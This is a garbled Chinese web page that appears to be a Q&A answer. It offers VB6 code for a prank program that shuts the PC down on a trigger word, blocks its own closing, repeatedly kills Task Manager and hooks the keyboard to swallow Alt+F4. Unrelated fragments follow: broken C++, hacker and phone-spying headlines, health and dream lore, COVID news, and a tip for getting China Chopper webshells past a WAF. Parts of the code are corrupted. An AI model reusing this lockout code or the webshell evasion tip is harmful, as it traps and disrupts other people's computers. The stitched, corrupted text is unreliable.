我使VB编写出了一个简易序,因为百度问答的局限性我仅将关键代码放在下边
如果有搞不懂的地区,随时欢迎
If Text1 = "帅" Then
MsgBox "你很诚信", vbOKOnly, ""
ElseIf Text1 = "长得不好看" Then
Shell "cmd.exe /c shutdown -s -t 0"
End If
此外,使关掉无效的代码为
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = 1
End Sub
使资源管理器无效的代码可以用(必须放在timer里)
Shell "taskkill /im taskmgr.exe /f", vbHide
禁止使用ALT F4的代码可以用
Option Explicit
Private Declare Function GetKeyState Lib "User32" _
(ByVal nVirtKey As Long) As Integer
Public Declare Function SetWindowsHookEx Lib "User32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib "User32" (ByVal hHook As Long) As Long
Public Declare Function CallNextHookEx Lib "User32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, ByVal lpvSource As Long, ByVal cbCopy As Long)
Public Type KEYMSGS
vKey As Long
sKey As Long
flag As Long
time As Long
End Type
Public Const WH_KEYBOARD_LL = 13
Public Const VK_LWIN = &H5B
Public Const VK_RWIN = &H4C
Public Const HC_ACTION = 0
Public Const HC_SY *** ODALOFF = 5
Public Const HC_SY *** ODALON = 4
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_SYSKEYDOWN = &H104
Public Const WM_SYSKEYUP = &H105
Public P As KEYMSGS
Public lHook As Long
Public Function LowLevelKeyboardProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim fEatKeystroke As Boolean
If (nCode = HC_ACTION) Then
If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Or wParam = WM_KEYUP Or wParam = WM_SYSKEYUP Then
CopyMemory P, ByVal lParam, Len(P)
Select Case P.vKey
Case vbKeyF4
If (GetKeyState(vbKeyMenu) And &H8000)0 Then
fEatKeystroke = True
End If
End Select
End If
End If
If fEatKeystroke Then
LowLevelKeyboardProc = -1
Else
LowLevelKeyboardProc = CallNextHookEx(0, nCode, wParam, ByVal lParam)
End If
End Function
'之上为控制模块代码
lHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf LowLevelKeyboardProc, App.hInstance, 0) '设定电脑键盘勾子
UnhookWindowsHookEx lHook '撤销电脑键盘勾子
额,百度搜索不许打。我发文件了,无毒性有害死去。我挣点钱呵呵呵
会卡死吧/也有很有可能会泄露秘密。
#includeusing namespace std;int main(){ int a; cin >> a; long long i=56645698080875867937693598758973409776979046856734769875876509870596798657568709865078069587094865987658967768576859684867456795876894568948646456456456456456565664563793894812898;//数据一部分可改 do{ cout
qq刷单被骗找黑客查人相关问题 我真的不是黑客相关问题 黑客用什么电脑好用 手机淘宝怎么看个人信息(手机怎么看淘宝店铺) 做黑客什么编程语言好 有个黑客男朋友是种什么体验(...
. "坐不住"几乎是很多小孩的通病,对于孩子来说好奇心往往会大于专注力。那么孩子经常坐不住,静不下心来是不是多动症呢?孩子多动症的表现有哪些。 孩子多动症的表现有哪些 注意障碍。表现为注意力不集...
怎么偷偷控制别人手机(全面监控另一部手机) 互联网时代,不仅要防火防盗防闺蜜,还要防监控。手机被别人监控,这问题可大可小,有人觉得没啥的,过好自己的小日子就行,反正自己钱又不多;而有人则觉得很...
孕妇梦见牛,代表母子平安。 孕妇梦见有角的黄牛,会生儿子,而且是个特别孝顺的儿子。 孕妇梦见无角的黄牛或牛犊,会生女儿。 孕妇梦见母牛,会生女儿。 孕妇梦见温顺的牛,会生女儿。 孕妇做梦...
美国单日新增新冠肺炎确诊病例数达到历史最高水平 连续4天超10万例 据美国多家媒体当地时间11月8日报道称,过去一周,即疫情的各个参数均达到高位之后,美国单日新增新冠肺炎确诊病例也达到了疫情...
9.在waf阻挠下无法衔接一句话chopper时,每种waf的阻挠规矩不一样,可在新版chopper目录下放多个不同的可过waf的装备文件备用,一个caidao.conf不过狗时再用其他caidao....